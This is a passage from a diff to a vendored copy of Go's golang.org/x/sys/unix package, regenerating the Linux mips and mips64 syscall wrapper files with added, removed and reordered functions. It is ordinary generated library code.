-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall9(SYS_FADVISE64, uintptr(fd), 0, uintptr(offset>>32), uintptr(offset), uintptr(length>>32), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1529,7 +114,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1537,7 +122,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1545,7 +130,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1553,7 +138,7 @@ func Getgid() (gid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1619,6 +204,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
- r0, _, e1 := Syscall6(SYS__NEWSELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
- n = int(r0)
-@@ -1641,8 +246,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1651,8 +257,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1711,9 +318,9 @@ func Shutdown(fd int, how int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int64(int64(r0)<<32 | int64(r1))
-+func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1747,6 +354,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
-@@ -1957,6 +574,21 @@ func Iopl(level int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
- if e1 != 0 {
-@@ -1978,13 +610,13 @@ func Time(t *Time_t) (tt Time_t, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func Utime(path string, buf *Utimbuf) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1993,8 +625,13 @@ func Lstat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2003,13 +640,13 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func Lstat(path string, stat *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2018,13 +655,23 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Utime(path string, buf *Utimbuf) (err error) {
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), 0)
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2033,15 +680,13 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+ _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2060,8 +705,10 @@ func Pause() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe() (p1 int, p2 int, err error) {
-+ r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ p1 = int(r0)
-+ p2 = int(r1)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64.go
-index 4fde3ef0..424fb7fb 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,mips64 syscall_linux.go syscall_linux_mips64x.go
-+// go run mksyscall.go -tags linux,mips64 syscall_linux.go syscall_linux_mips64x.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,mips64
-@@ -14,1228 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
